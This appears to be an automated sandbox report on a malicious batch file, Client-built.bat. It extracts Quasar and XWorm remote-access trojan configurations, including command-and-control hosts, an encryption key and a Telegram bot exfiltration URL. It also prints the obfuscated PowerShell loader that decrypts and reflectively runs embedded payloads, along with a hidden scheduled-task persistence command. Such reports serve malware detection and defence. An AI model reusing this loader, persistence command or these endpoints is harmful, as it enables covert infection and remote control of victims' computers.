Resubmissions
Analysis
-
max time kernel
54s -
max time network
61s -
platform
windows10-2004_x64 -
resource
win10v2004-20240412-en -
resource tags
arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system -
submitted
13-04-2024 18:14
Static task
static1
Behavioral task
behavioral1
Sample
Client-built.bat
Resource
win10-20240404-en
Behavioral task
behavioral2
Sample
Client-built.bat
Resource
win10v2004-20240412-en
General
-
Target
Client-built.bat
-
Size
1.6MB
-
MD5
566c653ae6a704041aef596fce6d6a8c
-
SHA1
da35608bf372a6113d941817a96bc3a17de9ef69
-
SHA256
950153a1ef5114d609ca8fa79a28374c1f24ae84a8f90ef0a21fb7914639b4e9
-
SHA512
98662e33f746dce81efe530f6544bf0d83eff2ff35d72bf54e105ef6de121108a4aa28d6e417d3c8e1584a5c0165f78b180574eaa489f11d7cd617b6d31e01c2
-
SSDEEP
24576:5fdhc8KmdqCxAN6Wzmom6E7SMVePybPyDJq2Tg60xTmDADhXX9wEvIslVYglu0TW:5FhcZmgs4DANHXvhXNVnEyx8f
Malware Config
Extracted
quasar
1.4.1
Office04
express-divorce.gl.at.ply.gg:22562
6735a92b-88d2-4fbe-8e59-605a85072109
-
encryption_key
8681483EF512C654BECF205A0D74FFCA4B129A98
-
install_name
Client.exe
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
Trapix Client Startup
-
subdirectory
SubDir
Extracted
xworm
3.0
traffic-collins.gl.at.ply.gg:24820
uX6FapIHo24Z2JFZ
-
install_file
USB.exe
-
telegram
https://api.telegram.org/bot7171419034:AAFHVFSxi6aVJohwci09QBtbjQ3QtjcLoBc/sendMessage?chat_id=6403260284
Signatures
-
Detect Xworm Payload 3 IoCs
Processes:
resource yara_rule behavioral2/memory/1492-14-0x00000250F89C0000-0x00000250F8AFA000-memory.dmp family_xworm C:\Users\Admin\AppData\Local\Temp\XClientNOT.exe family_xworm behavioral2/memory/3636-70-0x0000000000620000-0x000000000062E000-memory.dmp family_xworm -
Quasar payload 1 IoCs
Processes:
resource yara_rule behavioral2/memory/2208-57-0x00000173432E0000-0x0000017343604000-memory.dmp family_quasar -
Blocklisted process makes network request 7 IoCs
Processes:
powershell.exeflow pid process 28 2208 powershell.exe 33 2208 powershell.exe 37 2208 powershell.exe 46 2208 powershell.exe 52 2208 powershell.exe 53 2208 powershell.exe 54 2208 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2177723727-746291240-1644359950-1000\Control Panel\International\Geo\Nation WScript.exe -
Executes dropped EXE 1 IoCs
Processes:
XClientNOT.exepid process 3636 XClientNOT.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Modifies registry class 1 IoCs
Processes:
powershell.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-2177723727-746291240-1644359950-1000_Classes\Local Settings powershell.exe -
Suspicious behavior: EnumeratesProcesses 7 IoCs
Processes:
powershell.exepowershell.exepowershell.exepid process 1492 powershell.exe 1492 powershell.exe 2116 powershell.exe 2116 powershell.exe 2208 powershell.exe 2208 powershell.exe 2208 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 1492 powershell.exe Token: SeDebugPrivilege 2116 powershell.exe Token: SeIncreaseQuotaPrivilege 2116 powershell.exe Token: SeSecurityPrivilege 2116 powershell.exe Token: SeTakeOwnershipPrivilege 2116 powershell.exe Token: SeLoadDriverPrivilege 2116 powershell.exe Token: SeSystemProfilePrivilege 2116 powershell.exe Token: SeSystemtimePrivilege 2116 powershell.exe Token: SeProfSingleProcessPrivilege 2116 powershell.exe Token: SeIncBasePriorityPrivilege 2116 powershell.exe Token: SeCreatePagefilePrivilege 2116 powershell.exe Token: SeBackupPrivilege 2116 powershell.exe Token: SeRestorePrivilege 2116 powershell.exe Token: SeShutdownPrivilege 2116 powershell.exe Token: SeDebugPrivilege 2116 powershell.exe Token: SeSystemEnvironmentPrivilege 2116 powershell.exe Token: SeRemoteShutdownPrivilege 2116 powershell.exe Token: SeUndockPrivilege 2116 powershell.exe Token: SeManageVolumePrivilege 2116 powershell.exe Token: 33 2116 powershell.exe Token: 34 2116 powershell.exe Token: 35 2116 powershell.exe Token: 36 2116 powershell.exe Token: SeIncreaseQuotaPrivilege 2116 powershell.exe Token: SeSecurityPrivilege 2116 powershell.exe Token: SeTakeOwnershipPrivilege 2116 powershell.exe Token: SeLoadDriverPrivilege 2116 powershell.exe Token: SeSystemProfilePrivilege 2116 powershell.exe Token: SeSystemtimePrivilege 2116 powershell.exe Token: SeProfSingleProcessPrivilege 2116 powershell.exe Token: SeIncBasePriorityPrivilege 2116 powershell.exe Token: SeCreatePagefilePrivilege 2116 powershell.exe Token: SeBackupPrivilege 2116 powershell.exe Token: SeRestorePrivilege 2116 powershell.exe Token: SeShutdownPrivilege 2116 powershell.exe Token: SeDebugPrivilege 2116 powershell.exe Token: SeSystemEnvironmentPrivilege 2116 powershell.exe Token: SeRemoteShutdownPrivilege 2116 powershell.exe Token: SeUndockPrivilege 2116 powershell.exe Token: SeManageVolumePrivilege 2116 powershell.exe Token: 33 2116 powershell.exe Token: 34 2116 powershell.exe Token: 35 2116 powershell.exe Token: 36 2116 powershell.exe Token: SeIncreaseQuotaPrivilege 2116 powershell.exe Token: SeSecurityPrivilege 2116 powershell.exe Token: SeTakeOwnershipPrivilege 2116 powershell.exe Token: SeLoadDriverPrivilege 2116 powershell.exe Token: SeSystemProfilePrivilege 2116 powershell.exe Token: SeSystemtimePrivilege 2116 powershell.exe Token: SeProfSingleProcessPrivilege 2116 powershell.exe Token: SeIncBasePriorityPrivilege 2116 powershell.exe Token: SeCreatePagefilePrivilege 2116 powershell.exe Token: SeBackupPrivilege 2116 powershell.exe Token: SeRestorePrivilege 2116 powershell.exe Token: SeShutdownPrivilege 2116 powershell.exe Token: SeDebugPrivilege 2116 powershell.exe Token: SeSystemEnvironmentPrivilege 2116 powershell.exe Token: SeRemoteShutdownPrivilege 2116 powershell.exe Token: SeUndockPrivilege 2116 powershell.exe Token: SeManageVolumePrivilege 2116 powershell.exe Token: 33 2116 powershell.exe Token: 34 2116 powershell.exe Token: 35 2116 powershell.exe -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
cmd.exepowershell.exeWScript.execmd.exepowershell.exedescription pid process target process PID 4992 wrote to memory of 1492 4992 cmd.exe powershell.exe PID 4992 wrote to memory of 1492 4992 cmd.exe powershell.exe PID 1492 wrote to memory of 2116 1492 powershell.exe powershell.exe PID 1492 wrote to memory of 2116 1492 powershell.exe powershell.exe PID 1492 wrote to memory of 3132 1492 powershell.exe WScript.exe PID 1492 wrote to memory of 3132 1492 powershell.exe WScript.exe PID 3132 wrote to memory of 3164 3132 WScript.exe cmd.exe PID 3132 wrote to memory of 3164 3132 WScript.exe cmd.exe PID 3164 wrote to memory of 2208 3164 cmd.exe powershell.exe PID 3164 wrote to memory of 2208 3164 cmd.exe powershell.exe PID 2208 wrote to memory of 3636 2208 powershell.exe XClientNOT.exe PID 2208 wrote to memory of 3636 2208 powershell.exe XClientNOT.exe
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Client-built.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4992 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rut3Nxs7NHGxRfDGW4AZiW/la3bsD/qGa57R1oLq3Jk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IMGBAJCtblcDTdjuAM5M1A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rYugK=New-Object System.IO.MemoryStream(,$param_var); $FsizC=New-Object System.IO.MemoryStream; $qQyLB=New-Object System.IO.Compression.GZipStream($rYugK, [IO.Compression.CompressionMode]::Decompress); $qQyLB.CopyTo($FsizC); $qQyLB.Dispose(); $rYugK.Dispose(); $FsizC.Dispose(); $FsizC.ToArray();}function execute_function($param_var,$param2_var){ $YdjZT=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $WGHne=$YdjZT.EntryPoint; $WGHne.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Client-built.bat';$tUlfv=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Client-built.bat').Split([Environment]::NewLine);foreach ($opvFd in $tUlfv) { if ($opvFd.StartsWith(':: ')) { $vKkrO=$opvFd.Substring(3); break; }}$payloads_var=[string[]]$vKkrO.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1492 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_880_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_880.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2116 -
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_880.vbs"3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3132 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_880.bat" "4⤵
- Suspicious use of WriteProcessMemory
PID:3164 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rut3Nxs7NHGxRfDGW4AZiW/la3bsD/qGa57R1oLq3Jk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IMGBAJCtblcDTdjuAM5M1A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rYugK=New-Object System.IO.MemoryStream(,$param_var); $FsizC=New-Object System.IO.MemoryStream; $qQyLB=New-Object System.IO.Compression.GZipStream($rYugK, [IO.Compression.CompressionMode]::Decompress); $qQyLB.CopyTo($FsizC); $qQyLB.Dispose(); $rYugK.Dispose(); $FsizC.Dispose(); $FsizC.ToArray();}function execute_function($param_var,$param2_var){ $YdjZT=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $WGHne=$YdjZT.EntryPoint; $WGHne.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_880.bat';$tUlfv=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_880.bat').Split([Environment]::NewLine);foreach ($opvFd in $tUlfv) { if ($opvFd.StartsWith(':: ')) { $vKkrO=$opvFd.Substring(3); break; }}$payloads_var=[string[]]$vKkrO.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2208 -
C:\Users\Admin\AppData\Local\Temp\XClientNOT.exe"C:\Users\Admin\AppData\Local\Temp\XClientNOT.exe"6⤵
- Executes dropped EXE
PID:3636
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD5661739d384d9dfd807a089721202900b
SHA15b2c5d6a7122b4ce849dc98e79a7713038feac55
SHA25670c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
SHA51281b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
-
Filesize
1KB
MD5f8d49a4af7a844bfc7247d5670def557
SHA126ae0ce194a77a7a1887cf93741293fdfa6c94c4
SHA25661c60aa2e781a7f6ab54577db26d1be6ca3bf40c4c1d29eca48698e8cb5e1a2b
SHA5129e034173b20c85fc63ec88d045ace936af567e52caafe5e5735cf6fd5e72d040b992b38c0490ee9d9e43f6f934695d5913bc7a0c682b36c99e5e2d9923c24a9c
-
Filesize
31KB
MD5dd466e4e324143a67a406797c23ee2bc
SHA1cc369b99c18c9322734b14908e7b21f2bec48118
SHA2561a87f2fed2a9263e703c44d25da8242016a640db930678a0f497879267c133c8
SHA512603c082427129deac3bce210d87e3f4125dd429ad7fe13422b7a3d80f8e282ae8ad887a20e47de12a3f90c24ab4a143dc3b069fd8da122f4f96b70f94bd7f438
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
1.6MB
MD5566c653ae6a704041aef596fce6d6a8c
SHA1da35608bf372a6113d941817a96bc3a17de9ef69
SHA256950153a1ef5114d609ca8fa79a28374c1f24ae84a8f90ef0a21fb7914639b4e9
SHA51298662e33f746dce81efe530f6544bf0d83eff2ff35d72bf54e105ef6de121108a4aa28d6e417d3c8e1584a5c0165f78b180574eaa489f11d7cd617b6d31e01c2
-
Filesize
115B
MD5cb82f6b4868c69302aa0f0d769cbc67e
SHA1a0f5dfa79e967f926e43814fdb372c07f6dbe338
SHA256952d59ec8eb7e2857dfecc5fb7b30483b67005962cf37ee22c33243976271f6c
SHA51269819516721d4fa2224e4d710891290d7ef026c89ffbb4b5119491a15d383cda82c3ea46b2eb4681b53d0a0b87d06d5e79ec80afed2e4ea95eb4f2301e57a781